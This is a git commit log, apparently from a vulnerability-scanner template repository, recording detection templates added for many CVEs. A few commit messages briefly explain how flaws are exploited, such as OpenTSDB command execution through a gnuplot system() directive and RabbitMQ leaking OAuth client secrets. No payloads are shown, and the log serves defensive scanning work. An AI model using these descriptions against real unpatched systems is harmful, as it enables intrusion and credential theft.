Dhiyaneshwaran ac332c4457 Update CVE-2026-8236.yaml 2026-08-24 12:32:34 +04:00
Dhiyaneshwaran 3a8ea6d85f Update CVE-2026-54917.yaml 2026-08-24 12:13:38 +04:00
ghost 24858b4bfa chore: generate templates checksum 🤖 2026-08-24 06:31:05 +00:00
ghost 48a4f86512 chore: generate new addition list 🤖 2026-08-24 06:28:54 +00:00
ghost d47eb02e1b chore: generate CVEs metadata 🤖 2026-08-24 06:28:22 +00:00
ghost 483c7cbb2d chore: sign templates 🤖 2026-08-24 06:28:16 +00:00
Aman Rawat 9a48953ca0 Merge pull request #16941 from Aryu-RU/cve-2023-25826
CVE-2023-25826 - OpenTSDB <=2.4.1 - Remote Code Execution
2026-08-24 11:57:55 +05:30
ghost 7397b0401a chore: generate templates checksum 🤖 2026-08-24 05:56:27 +00:00
ghost eeaaf52b38 chore: generate new addition list 🤖 2026-08-24 05:54:21 +00:00
ghost ceb269857d chore: generate CVEs metadata 🤖 2026-08-24 05:53:49 +00:00
ghost 03aa267c7e chore: sign templates 🤖 2026-08-24 05:53:44 +00:00
Dhiyaneshwaran 10ccc4a9c1 Merge pull request #16967 from projectdiscovery/16958-vBulletin-pre-auth-RCE
Create CVE-2026-61511.yaml - vBulletin 6.x - Remote Code Execution
2026-08-24 09:53:22 +04:00
ghost afd2061acf chore: update EPSS scores 🤖 2026-08-24 02:28:14 +00:00
Roberto Nunes 933601ef7c Create CVE-2025-15403.yaml 2026-08-24 09:08:45 +09:00
Roberto Nunes 1405f47d65 Update author of CVE-2026-61511 to 0x_Akoko 2026-08-24 08:17:59 +09:00
Roberto Nunes 3213761b9d Refine vulnerability name for CVE-2026-61511
Updated CVE-2026-61511.yaml to refine the vulnerability name.
2026-08-24 08:16:56 +09:00
Muhammad Haseeb 91741302a5 cve-2026-54917: Add SeaweedFS path traversal detection 2026-08-23 23:29:23 +05:00
ghost d7a0bc103c chore: update EPSS scores 🤖 2026-08-23 02:28:15 +00:00
ghost c0af36c246 chore: generate templates checksum 🤖 2026-08-22 12:22:23 +00:00
ghost 2607713633 chore: generate new addition list 🤖 2026-08-22 12:21:13 +00:00
Ritik Chaddha 7a5b4d03b9 Create CVE-2026-40217.yaml 2026-08-22 17:50:46 +05:30
ghost 7a5b27aa09 chore: generate CVEs metadata 🤖 2026-08-22 12:20:36 +00:00
Ritik Chaddha 5a42f7b99e Delete http/cves/2026/CVE-2026-40217.yaml 2026-08-22 17:50:16 +05:30
ghost 09023ccf0f chore: generate new addition list 🤖 2026-08-22 12:20:14 +00:00
ghost 709ced9c58 chore: sign templates 🤖 2026-08-22 12:19:43 +00:00
ghost aa89413d67 chore: generate CVEs metadata 🤖 2026-08-22 12:19:35 +00:00
Ritik Chaddha 644fee39f6 Create CVE-2026-40217.yaml 2026-08-22 17:49:15 +05:30
ghost 98cb5766fa chore: update EPSS scores 🤖 2026-08-22 02:23:35 +00:00
ghost e29d8f4127 chore: generate templates checksum 🤖 2026-08-21 19:38:08 +00:00
ghost 384a558419 chore: generate new addition list 🤖 2026-08-21 19:35:54 +00:00
ghost 123a8e8223 chore: generate CVEs metadata 🤖 2026-08-21 19:35:31 +00:00
ghost f77e924c0f chore: sign templates 🤖 2026-08-21 19:35:20 +00:00
Dhiyaneshwaran 97c2ceddce Merge pull request #16434 from kenlacroix/add-cve-2026-45695
Add CVE-2026-45695: Kopia Server SSH ProxyCommand Injection (Unauth RCE)
2026-08-21 23:34:57 +04:00
ghost c8c32c3453 chore: update KEV and vKEV tags and metadata 🤖 2026-08-21 03:22:37 +00:00
ghost dd4ba46a34 chore: update EPSS scores 🤖 2026-08-21 02:28:16 +00:00
Martin Desrumaux 419159aa43 CVE-2026-0558: fix unclosed string literal in dsl matcher 2026-08-20 11:38:10 +02:00
Roberto Nunes 82a04ae437 Update CVE-2023-25826.yaml 2026-08-20 18:36:46 +09:00
Ritik Chaddha 6ba9f91ded Update CVE-2026-45695.yaml 2026-08-20 15:04:29 +05:30
Adel Bouachraoui 9ac0eec4a9 CVE-2024-57728 — add detection template 2026-08-20 10:59:44 +02:00
Ayush yadav d717eba8cc Add oidc-signing-alg-none-supported template 2026-08-20 13:39:30 +05:30
ghost 7048392fc2 chore: generate templates checksum 🤖 2026-08-20 06:56:56 +00:00
ghost 7854105f9e chore: generate new addition list 🤖 2026-08-20 06:55:00 +00:00
ghost 2cdb17a6f2 chore: generate CVEs metadata 🤖 2026-08-20 06:54:29 +00:00
Roberto Nunes 146c1382ab Merge pull request #16237 from KoungQ/add-cve-2026-0558-lollms-template
Add CVE-2026-0558 LoLLMS unauthenticated file upload template
2026-08-20 15:54:02 +09:00
Aryu-RU bd72d993b5 CVE-2023-25826 - OpenTSDB <=2.4.1 - Remote Code Execution
The key parameter of the legacy /q graphing endpoint is written into the
gnuplot script without validation, so an unauthenticated request can append
a gnuplot system() directive and run commands on the host.

This is the incomplete fix for CVE-2020-35476, which only constrained
yrange. The existing CVE-2020-35476 template does not cover it: on 2.4.1
its yrange payload is rejected with HTTP 400 and nothing executes.

Detection reads an existing metric name from /api/suggest first, since the
graph handler returns HTTP 500 without one, and confirms execution through
an out-of-band interaction rather than the response body alone.
2026-08-20 06:51:39 +00:00
ghost 2b429f725e chore: generate templates checksum 🤖 2026-08-20 06:27:53 +00:00
ghost dfddf5bcf0 chore: generate new addition list 🤖 2026-08-20 06:26:32 +00:00
ghost 0c2fed7b05 chore: generate new addition list 🤖 2026-08-20 06:26:07 +00:00
ghost 6ca831a6ef chore: generate CVEs metadata 🤖 2026-08-20 06:26:02 +00:00
ghost 4e3f616143 chore: sign templates 🤖 2026-08-20 06:25:55 +00:00
ghost 15e1a1792e chore: generate new addition list 🤖 2026-08-20 06:25:39 +00:00
Aman Rawat 61af10c3b0 Merge pull request #16932 from Aryu-RU/add-cve-2026-57219
Add CVE-2026-57219 - RabbitMQ Management - OAuth 2 Client Secret Disclosure
2026-08-20 11:55:34 +05:30
ghost 98437b7ab7 chore: generate CVEs metadata 🤖 2026-08-20 06:25:32 +00:00
Aman Rawat 06af7e6c28 Merge pull request #16933 from Aryu-RU/add-cve-2026-49069
Add CVE-2026-49069 WPZOOM Portfolio cross-site scripting
2026-08-20 11:55:10 +05:30
ghost a7b6979f94 chore: sign templates 🤖 2026-08-20 06:25:04 +00:00
Aman Rawat 494f80d94e Merge pull request #16216 from fineman999/add-cve-2026-35037
Add CVE-2026-35037 Ech0 SSRF template
2026-08-20 11:54:41 +05:30
ghost 23b9b110f3 chore: generate templates checksum 🤖 2026-08-20 05:40:34 +00:00
ghost 2e87b57622 chore: generate new addition list 🤖 2026-08-20 05:38:39 +00:00
ghost 68c70adc88 chore: sign templates 🤖 2026-08-20 05:38:09 +00:00
Aman Rawat 3fa131ccb5 Merge pull request #16850 from str4k3r/cve-2026-12394-ecosystem-20260812-v2
Add CVE-2026-12394 MemberGlut WordPress role injection
2026-08-20 11:07:45 +05:30
ghost 642d4cb6b8 chore: generate templates checksum 🤖 2026-08-20 05:10:08 +00:00
ghost 4788085501 chore: sign templates 🤖 2026-08-20 05:07:55 +00:00
Roberto Nunes 524dcfbb4b Merge pull request #16939 from daffainfo/patch-271755
Fix username key structure in mysql-empty-password.yaml
2026-08-20 14:07:37 +09:00
ghost 0e3605dd72 chore: sign templates 🤖 2026-08-20 05:07:22 +00:00
Roberto Nunes 5b765d31b3 Merge pull request #16918 from daffainfo/patch-320745
Update email and password variable names in CVE YAML
2026-08-20 14:07:01 +09:00
ghost 39f44705e0 chore: generate templates checksum 🤖 2026-08-20 04:31:50 +00:00
ghost 5eb2fb9575 chore: sign templates 🤖 2026-08-20 04:29:23 +00:00
Dhiyaneshwaran d13259b37c Merge pull request #16938 from daffainfo/patch-60207
Update CVE-2022-29013.yaml
2026-08-20 08:29:02 +04:00
Muhammad Daffa 7a1514e689 Refine login placeholders in empirec2-default-login.yaml
Changed placeholder keys for username and password in the YAML file to improve clarity.
2026-08-20 10:29:23 +07:00
Muhammad Daffa 90860ec817 Fix username key structure in mysql-empty-password.yaml
Corrected the structure of the username key in the YAML file.
2026-08-20 10:28:17 +07:00
Muhammad Daffa 6793cf67e7 Update CVE-2022-29013.yaml 2026-08-20 10:25:04 +07:00
ghost 2651ed89a5 chore: update KEV and vKEV tags and metadata 🤖 2026-08-20 03:19:11 +00:00
Roberto Nunes ca5cfafbfd Create CVE-2026-11801.yaml 2026-08-20 12:02:06 +09:00
ghost 3b2460bffd chore: update EPSS scores 🤖 2026-08-20 02:24:33 +00:00
Roberto Nunes 5f19dfba76 Update CVE-2024-1708.yaml 2026-08-20 09:06:52 +09:00
ghost 18917dee27 chore: generate templates checksum 🤖 2026-08-19 15:38:13 +00:00
ghost 5d182fd559 chore: sign templates 🤖 2026-08-19 15:34:27 +00:00
Ritik Chaddha 7b1b4e420a added co-author 2026-08-19 21:04:02 +05:30
ghost 21221a0cb2 chore: generate templates checksum 🤖 2026-08-19 15:33:20 +00:00
ghost 28670c555a chore: sign templates 🤖 2026-08-19 15:30:29 +00:00
ghost 341cc5bf0f chore: generate CVEs metadata 🤖 2026-08-19 15:30:26 +00:00
Ritik Chaddha d104c30c17 added co-author 2026-08-19 21:00:05 +05:30
Ritik Chaddha f9654bf369 Update CVE-2026-0558.yaml 2026-08-19 20:23:44 +05:30
Ritik Chaddha 5c177aa554 Update CVE-2026-35037.yaml 2026-08-19 20:16:24 +05:30
ghost 99e5ea8f85 chore: generate templates checksum 🤖 2026-08-19 14:14:02 +00:00
ghost 780a3e9913 chore: generate new addition list 🤖 2026-08-19 14:12:06 +00:00
ghost a19c184431 chore: sign templates 🤖 2026-08-19 14:11:17 +00:00
Ritik Chaddha 9d0505602e Merge pull request #16898 from Haseeb-1698/add-cve-2026-55087-etherpad
Add CVE-2026-55087 Etherpad template
2026-08-19 19:40:54 +05:30
ghost 90cfd9a8f9 chore: generate new addition list 🤖 2026-08-19 14:07:24 +00:00
ghost a6f50f4fc6 chore: generate templates checksum 🤖 2026-08-19 14:07:14 +00:00
ghost 89a34a1d4d chore: sign templates 🤖 2026-08-19 14:06:35 +00:00
ghost fd3fcc0ada chore: generate CVEs metadata 🤖 2026-08-19 14:06:31 +00:00
Ritik Chaddha beebc94a34 Merge pull request #16911 from projectdiscovery/CVE-2022-1281
CVE-2022-1281 - Photo Gallery WordPress - SQL Injection
2026-08-19 19:36:13 +05:30
ghost 0b6eabb267 chore: generate new addition list 🤖 2026-08-19 14:05:47 +00:00
ghost 5677a7c31a chore: generate templates checksum 🤖 2026-08-19 14:05:14 +00:00
ghost 25a60774c1 chore: generate CVEs metadata 🤖 2026-08-19 14:05:04 +00:00
ghost 6fbe39bd17 chore: sign templates 🤖 2026-08-19 14:04:59 +00:00
Ritik Chaddha c54d6a9f0a Merge branch 'main' into add-cve-2026-55087-etherpad 2026-08-19 19:34:56 +05:30
ghost 7b4957b5a7 chore: generate new addition list 🤖 2026-08-19 14:04:46 +00:00
Ritik Chaddha 1a8cbc76b2 Merge pull request #16899 from Aryu-RU/add-cve-2026-3576
Add CVE-2026-3576 - Planyo Online Reservation System <= 3.0 - Arbitrary File Read
2026-08-19 19:34:37 +05:30
Ritik Chaddha 4c53609d7c Merge branch 'main' into add-cve-2026-3576 2026-08-19 19:34:27 +05:30
ghost ef62bdbb69 chore: generate CVEs metadata 🤖 2026-08-19 14:04:18 +00:00
ghost 89a0d83e6d chore: sign templates 🤖 2026-08-19 14:04:13 +00:00
Ritik Chaddha dfd7bc7d62 Merge pull request #16902 from mmadersbacher/add-cve-2020-10204
Added CVE-2020-10204 | Sonatype Nexus Repository Manager 3 RCE
2026-08-19 19:33:49 +05:30
ghost a7278f99be chore: generate templates checksum 🤖 2026-08-19 14:03:21 +00:00
ghost 5307eb3e55 chore: generate new addition list 🤖 2026-08-19 14:03:03 +00:00
ghost eaa09d7dfc chore: generate CVEs metadata 🤖 2026-08-19 14:02:39 +00:00
ghost 45e7fa4c30 chore: sign templates 🤖 2026-08-19 14:02:28 +00:00
Ritik Chaddha b6025d483c Merge pull request #16903 from Pauullamm/CVE-2026-8237
CVE 2026 8237
2026-08-19 19:32:03 +05:30
ghost b6b08286ef chore: generate templates checksum 🤖 2026-08-19 14:00:59 +00:00
ghost 9d12001265 chore: sign templates 🤖 2026-08-19 14:00:42 +00:00
Ritik Chaddha 0964d34f76 Merge pull request #16908 from projectdiscovery/printer-intrusive-tags-v2
Printers: add intrusive tag to vuln, misconfig, CVE and default-login templates
2026-08-19 19:30:18 +05:30
Ritik Chaddha 6ff32bc548 Update CVE-2022-1281.yaml 2026-08-19 19:30:13 +05:30
ghost be35041178 chore: generate new addition list 🤖 2026-08-19 13:59:13 +00:00
ghost 14e8b31577 chore: sign templates 🤖 2026-08-19 13:58:39 +00:00
ghost 0cc06d920c chore: generate CVEs metadata 🤖 2026-08-19 13:58:36 +00:00
Ritik Chaddha 7f22d12b2f Merge pull request #16798 from 1dayexploit/cve-2026-17594
Add CVE-2026-17594 - Sonatype Nexus Repository < 3.95.0 - Privilege Escalation via Repository Format Mismatch
2026-08-19 19:28:13 +05:30
Ritik Chaddha 49fe760484 Update CVE-2020-10204.yaml 2026-08-19 19:28:09 +05:30
Ritik Chaddha 048d13f7dd Update CVE-2026-8237.yaml 2026-08-19 19:26:30 +05:30
Ritik Chaddha 5d231f9462 Update CVE-2026-3576.yaml 2026-08-19 19:25:04 +05:30
Ritik Chaddha 33b3b1ba76 Update CVE-2026-55087.yaml 2026-08-19 19:23:39 +05:30
Ritik Chaddha 4daca1f1bf Update CVE-2026-17594.yaml 2026-08-19 19:21:14 +05:30
Roberto Nunes b464651acc Update CVE-2026-49069.yaml 2026-08-19 22:39:48 +09:00
Roberto Nunes 6891e2d354 Update CVE-2026-57219.yaml 2026-08-19 22:25:48 +09:00
ghost 33e12b63aa chore: generate templates checksum 🤖 2026-08-19 10:43:35 +00:00
ghost 9ed4bd8c51 chore: sign templates 🤖 2026-08-19 10:42:58 +00:00
Dhiyaneshwaran 2fe0f0f1c2 Merge pull request #16934 from daffainfo/patch-894830
Fix indentation in kubernetes-metrics.yaml
2026-08-19 14:42:37 +04:00
ghost dd3256bf06 chore: generate new addition list 🤖 2026-08-19 10:41:35 +00:00
ghost 8bacaac1ed chore: generate CVEs metadata 🤖 2026-08-19 10:40:51 +00:00
ghost b06c313736 chore: sign templates 🤖 2026-08-19 10:40:47 +00:00
Dhiyaneshwaran e49dd40459 Merge pull request #16928 from buzhimingdeaikun/codex/cve-2026-41042-gravitino-rce
Add CVE-2026-41042 Gravitino unauthenticated RCE template
2026-08-19 14:40:25 +04:00
Muhammad Daffa 1ecf657bb7 Fix indentation in kubernetes-metrics.yaml 2026-08-19 17:36:14 +07:00
ghost bf0b268679 chore: generate templates checksum 🤖 2026-08-19 09:01:33 +00:00
ghost c6a5fd6e7f chore: generate new addition list 🤖 2026-08-19 09:00:29 +00:00
ghost a44edd1801 chore: sign templates 🤖 2026-08-19 08:59:51 +00:00
Aman Rawat a33f75e912 Merge pull request #16907 from Th3l0newolf/timepro
Add easy TimePro login panel
2026-08-19 14:29:29 +05:30
ghost aaeec58cdf chore: sign templates 🤖 2026-08-19 08:58:45 +00:00
Aryu-RU e066920768 Add CVE-2026-49069 WPZOOM Portfolio cross-site scripting 2026-08-19 08:58:32 +00:00
Aman Rawat 20bbc11cc2 Merge pull request #16924 from projectdiscovery/use-random-string-fp
Update CVE-2026-64849.yaml
2026-08-19 14:28:23 +05:30
Aman Rawat 9cf1a5b165 Merge branch 'main' into use-random-string-fp 2026-08-19 14:11:50 +05:30
ghost 8ce04fa075 chore: generate templates checksum 🤖 2026-08-19 08:41:46 +00:00
ghost 69a023c9d5 chore: generate new addition list 🤖 2026-08-19 08:41:32 +00:00
ghost 3cf478c500 chore: generate CVEs metadata 🤖 2026-08-19 08:40:50 +00:00
ghost 4a53f48750 chore: sign templates 🤖 2026-08-19 08:40:43 +00:00
Aman Rawat f37500939b Merge pull request #16929 from spcuftwadejacobhurst/cve-2026-55224
Add CVE-2026-55224 - MineAdmin Plugin Store Path Traversal
2026-08-19 14:10:22 +05:30
ghost 4fc417f6ac chore: generate new addition list 🤖 2026-08-19 08:39:40 +00:00
ghost bcbc3d0128 chore: sign templates 🤖 2026-08-19 08:38:56 +00:00
Aman Rawat b9119c7e2d Merge pull request #16927 from projectdiscovery/CVE-2026-19478
CVE-2026-19478 - GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation
2026-08-19 14:08:32 +05:30
Ritik Chaddha ce5ce9a143 Update and rename easy-timepro-login.yaml to easy-timepro-panel.yaml 2026-08-19 14:07:20 +05:30
Dhiyaneshwaran dc3e102f59 Add dynamic filename variable to CVE-2026-41042.yaml 2026-08-19 12:16:55 +04:00
ghost 8428383bfd chore: generate templates checksum 🤖 2026-08-19 08:13:21 +00:00
ghost d75d892424 chore: generate new addition list 🤖 2026-08-19 08:12:38 +00:00
ghost 46236bf702 chore: generate CVEs metadata 🤖 2026-08-19 08:11:59 +00:00
ghost 80c37e95e7 chore: sign templates 🤖 2026-08-19 08:10:40 +00:00
Dhiyaneshwaran 5004fd189b Merge pull request #16930 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-56270.yaml - Flowise <= 3.0.13 - Unauthenticated OAuth Configuration Disclosure
2026-08-19 12:10:18 +04:00
Roberto Nunes 980bd883c3 Update `CVE-2026-41042.yaml 2026-08-19 16:53:11 +09:00
Adel Bouachraoui 231c57ca15 CVE-2024-1708 — add detection template 2026-08-19 08:56:24 +02:00
Aryu-RU 43535c91a2 Add CVE-2026-57219 - RabbitMQ Management - OAuth 2 Client Secret Disclosure
The management plugin's obsolete /api/auth handler returns true from
is_authorized/2, so it serves anonymous callers, and produce_auth_settings/2
serialises management.oauth_client_secret into the response.

Matching the oauth_client_secret key alone is sound: the key is omitted
entirely when no secret is configured, and a broker configured with an empty
secret refuses to start, so the key is only ever present with a real value.
The fix removes the route, so patched brokers answer 404.
2026-08-19 05:51:01 +00:00
Roberto Nunes 57ee131d7b Update CVE-2026-55224.yaml 2026-08-19 13:54:24 +09:00
ghost 730663aca3 chore: generate templates checksum 🤖 2026-08-19 04:18:13 +00:00
ghost abbd49b48c chore: generate new addition list 🤖 2026-08-19 04:16:59 +00:00
ghost 099de3e30b chore: generate CVEs metadata 🤖 2026-08-19 04:16:16 +00:00
ghost 1262a7e544 chore: sign templates 🤖 2026-08-19 04:16:13 +00:00
ghost ccc587ae9f chore: generate new addition list 🤖 2026-08-19 04:16:07 +00:00
Roberto Nunes 48340f699f Merge pull request #16732 from prithvee07/claude/repo-contribution-lrc40b
repo contribution lrc40b
2026-08-19 13:15:49 +09:00
ghost 24ff404423 chore: generate CVEs metadata 🤖 2026-08-19 04:15:42 +00:00
ghost ec366e93d5 chore: sign templates 🤖 2026-08-19 04:15:32 +00:00
Roberto Nunes e66179ea8d Merge pull request #16920 from projectdiscovery/CVE-2026-15826
CVE-2026-15826 - User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass
2026-08-19 13:15:08 +09:00
ghost dd887e581f chore: update KEV and vKEV tags and metadata 🤖 2026-08-19 03:19:39 +00:00
Roberto Nunes c6303c77ea Update CVE-2026-56270.yaml 2026-08-19 11:26:49 +09:00
ghost 0e1bb374fc chore: update EPSS scores 🤖 2026-08-19 02:24:48 +00:00
Roberto Nunes 530783a6d9 Update CVE-2026-56270.yaml 2026-08-19 11:21:34 +09:00
Roberto Nunes 683596a6e7 Create CVE-2026-56270.yaml 2026-08-19 11:13:21 +09:00
afanti 81badc83d5 add CVE-2026-55224 MineAdmin path traversal template 2026-08-19 07:53:37 +08:00
buzhimingdeaikun edd57f4585 Add CVE-2026-41042 vulnerability details
CVE-2026-41042 describes a critical vulnerability in Apache Gravitino that allows unauthenticated remote code execution via a specific endpoint. The YAML file includes details about the vulnerability, its impact, remediation steps, and example HTTP requests.
2026-08-19 03:41:29 +08:00
Dhiyaneshwaran c2fa69246d CVE-2026-19478 - GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation 2026-08-18 23:40:47 +04:00
Icaro Torres 2dc06dea37 Create litellm-default-login.yaml
LiteLLM enables default admin credential. An attacker can execute unauthorized operations.
2026-08-18 13:01:51 -03:00
Dhiyaneshwaran 213824d5bc Update CVE-2026-64849.yaml 2026-08-18 18:13:33 +04:00
ghost 55cce9268a chore: generate templates checksum 🤖 2026-08-18 14:05:43 +00:00
ghost e0d0648884 chore: generate new addition list 🤖 2026-08-18 14:03:01 +00:00
ghost 9f9219ed9d chore: generate CVEs metadata 🤖 2026-08-18 14:02:17 +00:00
ghost 8879666318 chore: sign templates 🤖 2026-08-18 14:02:15 +00:00
Aman Rawat 8035dd698d Merge pull request #16923 from projectdiscovery/CVE-2026-64849
CVE-2026-64849 - MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass
2026-08-18 19:31:52 +05:30
Dhiyaneshwaran f6cfec11b1 CVE-2026-64849 - MLflow Webhook SSRF - Unauthenticated Full-Read via Redirect Bypass 2026-08-18 17:51:05 +04:00
Dominique RIGHETTO 027e2b88f0 Fix formatting in mguard-security-appliance-login.yaml 2026-08-18 14:06:23 +02:00
Dominique RIGHETTO 4f39fe275e Add files via upload 2026-08-18 13:57:49 +02:00
Aman Rawat 013b57f657 Create CVE-2026-15826.yaml 2026-08-18 17:10:08 +05:30
ghost 2d9e43bb98 chore: generate templates checksum 🤖 2026-08-18 11:14:22 +00:00
ghost b4cbbb3a2d chore: sign templates 🤖 2026-08-18 11:12:22 +00:00
Roberto Nunes 9d67f26deb Merge pull request #16915 from n3integration/misc-metadata
Misc metadata
2026-08-18 20:12:01 +09:00
ghost 4ff9429b01 chore: sign templates 🤖 2026-08-18 11:11:31 +00:00
Roberto Nunes 015c590c19 Merge pull request #16912 from munzzyy/fix-vrview-xss-matchers-condition
Fix wp-vr-view-xss and vrview-xss firing on hosts that escape the payload
2026-08-18 20:11:11 +09:00
Aman Rawat 417eeb46f9 Refactor 2026-08-18 16:06:50 +05:30
Aman Rawat 5ce1c2207a Merge branch 'main' into misc-metadata 2026-08-18 12:49:33 +05:30
Aman Rawat 1074b649e7 Update 2026-08-18 12:48:05 +05:30
Aman Rawat e51733b8bb Update CVE-2026-17594.yaml 2026-08-18 12:11:50 +05:30
ghost 11ac0ae38c chore: generate templates checksum 🤖 2026-08-18 06:36:31 +00:00
ghost 321b796337 chore: generate new addition list 🤖 2026-08-18 06:34:16 +00:00
ghost c60854c47b chore: generate CVEs metadata 🤖 2026-08-18 06:33:29 +00:00
ghost 2af83e9cf5 chore: sign templates 🤖 2026-08-18 06:33:24 +00:00
Aman Rawat 97beb9c8f8 Merge pull request #16107 from ydking0911/cves
CVE-2026-4060 - Geo Mashup Unauthenticated SQL Injection
2026-08-18 12:03:04 +05:30
ghost 407e8e6b74 chore: generate templates checksum 🤖 2026-08-18 05:46:09 +00:00
Aman Rawat 7b3d01322e Update CVE-2026-4060.yaml 2026-08-18 11:14:31 +05:30
ghost 7a5ae0cfed chore: generate new addition list 🤖 2026-08-18 05:44:22 +00:00
ghost 8004e1893d chore: generate CVEs metadata 🤖 2026-08-18 05:43:41 +00:00
ghost 5680e1f6b1 chore: sign templates 🤖 2026-08-18 05:43:38 +00:00
Aman Rawat 736c10b604 Merge pull request #16738 from Aryu-RU/add-cve-2026-13001
Added CVE-2026-13001 - Podlove Podcast Publisher <= 4.5.1 Arbitrary File Upload
2026-08-18 11:13:15 +05:30
ghost 627bf3058e chore: generate templates checksum 🤖 2026-08-18 05:40:15 +00:00
github-actions[bot] da3bcb7260 chore: add impact and remediation fields 🤖 2026-08-18 05:39:06 +00:00
ghost ed25639926 chore: generate CVEs metadata 🤖 2026-08-18 05:38:23 +00:00
ghost 14d91de341 chore: sign templates 🤖 2026-08-18 05:38:16 +00:00
ghost e98b1b5a39 chore: generate new addition list 🤖 2026-08-18 05:38:12 +00:00
Aman Rawat 1e01ee8fb4 Merge pull request #16755 from str4k3r/str4k3r/cve-2026-26217
Add CVE-2026-26217 template
2026-08-18 11:07:54 +05:30
ghost ae5b60daaf chore: generate CVEs metadata 🤖 2026-08-18 05:37:41 +00:00
ghost 845d116b5f chore: sign templates 🤖 2026-08-18 05:37:33 +00:00
Aman Rawat 2f710aaa81 Merge pull request #16916 from projectdiscovery/Akokonunes-patch-7
Create CVE-2026-71362.yaml - Adobe Commerce/Magento - Customer Session Identity Switch Account Takeover
2026-08-18 11:07:13 +05:30
Aman Rawat 0952e48c25 Merge pull request #16917 from projectdiscovery/Akokonunes-patch-10
Update CVE-2026-19900 .yaml - LB-LINK Routers - Unauthenticated Command Injection
2026-08-18 11:07:00 +05:30
Roberto Nunes 32a7137714 Update CVE-2026-12394.yaml 2026-08-18 12:40:17 +09:00
ghost c8b16f654d chore: update KEV and vKEV tags and metadata 🤖 2026-08-18 03:18:51 +00:00
ghost 5888d0539b chore: generate templates checksum 🤖 2026-08-18 03:12:10 +00:00
ghost b597eec8a0 chore: generate new addition list 🤖 2026-08-18 03:11:53 +00:00
ghost 2077b09deb chore: generate CVEs metadata 🤖 2026-08-18 03:11:29 +00:00
ghost 5ba37ec40d chore: sign templates 🤖 2026-08-18 03:11:19 +00:00
Dhiyaneshwaran 0caa406de7 Merge pull request #16783 from omarkurt/patch-17
Add CVE-2026-57827 - RSFiles! for Joomla - Unauthenticated Arbitrary File Upload RCE
2026-08-18 07:10:59 +04:00
ghost 0b8265bf62 chore: generate new addition list 🤖 2026-08-18 03:10:35 +00:00
ghost 2f548c22f0 chore: sign templates 🤖 2026-08-18 03:09:47 +00:00
Dhiyaneshwaran c342903d24 Merge pull request #16909 from Th3l0newolf/zulip
Add Zulip login panel
2026-08-18 07:09:27 +04:00
Muhammad Daffa 4a88fd08d4 Update email and password variable names in CVE YAML 2026-08-18 10:03:35 +07:00
ghost 6d234b8d5c chore: generate templates checksum 🤖 2026-08-18 03:02:27 +00:00
ghost c49d090cd5 chore: generate CVEs metadata 🤖 2026-08-18 03:01:49 +00:00
ghost eb6082e978 chore: sign templates 🤖 2026-08-18 03:01:40 +00:00
Roberto Nunes 92963880e3 Merge pull request #16746 from Aryu-RU/add-cve-2026-53753
Add CVE-2026-53753 Crawl4AI remote code execution
2026-08-18 12:01:19 +09:00
ghost 5a9a3426c7 chore: generate new addition list 🤖 2026-08-18 03:01:09 +00:00
Roberto Nunes 9c2b087888 Merge pull request #16906 from projectdiscovery/CVE-2026-52806
CVE-2026-52806 - Gogs <= 0.14.2 - Authenticated RCE via git rebase Argument Injection
2026-08-18 12:00:58 +09:00
Roberto Nunes 74a39f1a94 Merge pull request #16905 from projectdiscovery/CVE-2015-7501
CVE-2015-7501 - Red Hat JBoss - Insecure Deserialization
2026-08-18 12:00:53 +09:00
ghost b3304bc073 chore: generate CVEs metadata 🤖 2026-08-18 03:00:28 +00:00
ghost 99100866c9 chore: sign templates 🤖 2026-08-18 03:00:23 +00:00
ghost 73741df67a chore: generate new addition list 🤖 2026-08-18 03:00:12 +00:00
Roberto Nunes 0c403e5a6c Merge pull request #16904 from projectdiscovery/CVE-2019-1003030
CVE-2019-1003030 - Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization
2026-08-18 12:00:03 +09:00
Roberto Nunes afdc6e7c21 Merge pull request #16886 from daffainfo/patch-233422
Broken CVE-2026-3395
2026-08-18 11:59:44 +09:00
ghost 8ee8a08cfd chore: sign templates 🤖 2026-08-18 02:59:29 +00:00
Roberto Nunes f17ee580a3 Merge pull request #16759 from br-flo/severity-audit-info-templates
Severity audit: raise 9 info-level templates based on independent CVE/CWE/vendor precedent
2026-08-18 11:59:05 +09:00
Roberto Nunes ee1e3669b9 Merge pull request #16815 from Boreas37/cve-2026-69084-siyuan
Add CVE-2026-69084 SiYuan searchEmbedBlock arbitrary SQL execution
2026-08-18 11:58:56 +09:00
ghost e1e470b4ac chore: update EPSS scores 🤖 2026-08-18 02:23:10 +00:00
Roberto Nunes 1dd854771c Update CVE-2026-19900 details and author 2026-08-18 09:40:51 +09:00
Roberto Nunes 3d0e6ae152 Create CVE-2026-71362.yaml 2026-08-18 09:35:08 +09:00
n3integration de83943e78 Misc: metadata updates 2026-08-17 18:32:34 -04:00
n3integration d09a7c017d CVE-2024-57726: update version check 2026-08-17 18:31:37 -04:00
Ritik Chaddha 6cfc56f0aa Update CVE-2026-4060.yaml 2026-08-17 23:17:07 +05:30
Ritik Chaddha 58498d55f6 Update CVE-2026-26217.yaml 2026-08-17 23:06:07 +05:30
Ritik Chaddha 12b3ffde70 Update CVE-2026-26217.yaml 2026-08-17 23:01:31 +05:30
Ritik Chaddha eec9362fb9 Update CVE-2026-57827.yaml 2026-08-17 22:57:21 +05:30
Ritik Chaddha ec1c95d005 Update CVE-2026-53753.yaml 2026-08-17 22:33:02 +05:30
Cole Munz fcb3fcb937 Fix wp-vr-view-xss and vrview-xss reporting XSS on hosts that escape the payload
The second request in both templates has three matchers. One looks for the
payload reflected in the body. The other two check content_type for text/html
and status 200. Neither block sets matchers-condition so nuclei falls back to
or, and since the content type and the status code hold for almost any HTML
page, both templates report high severity XSS whether or not the payload came
back unescaped. Set matchers-condition: and.
2026-08-17 12:00:52 -05:00
Ritik Chaddha 1e57d7c25b Update CVE-2026-13001.yaml 2026-08-17 22:22:59 +05:30
1dayexploit f8eb9f9716 Declare the Basic-auth credentials the template already used
username and password were referenced in both requests but never declared in
variables:, so a run without -var sent an empty 'Basic Og==' header. Nexus does
not accept that as a stateless credential, the request falls through to the
anti-CSRF filter, and the template surfaced 'Anti cross-site request forgery
token mismatch' instead of the finding - which is what @DhiyaneshGeek hit.

Both are now declared, defaulting to the delegated repo-admin account from the
reference lab, and the description states the requirement.
2026-08-17 16:11:04 +03:00
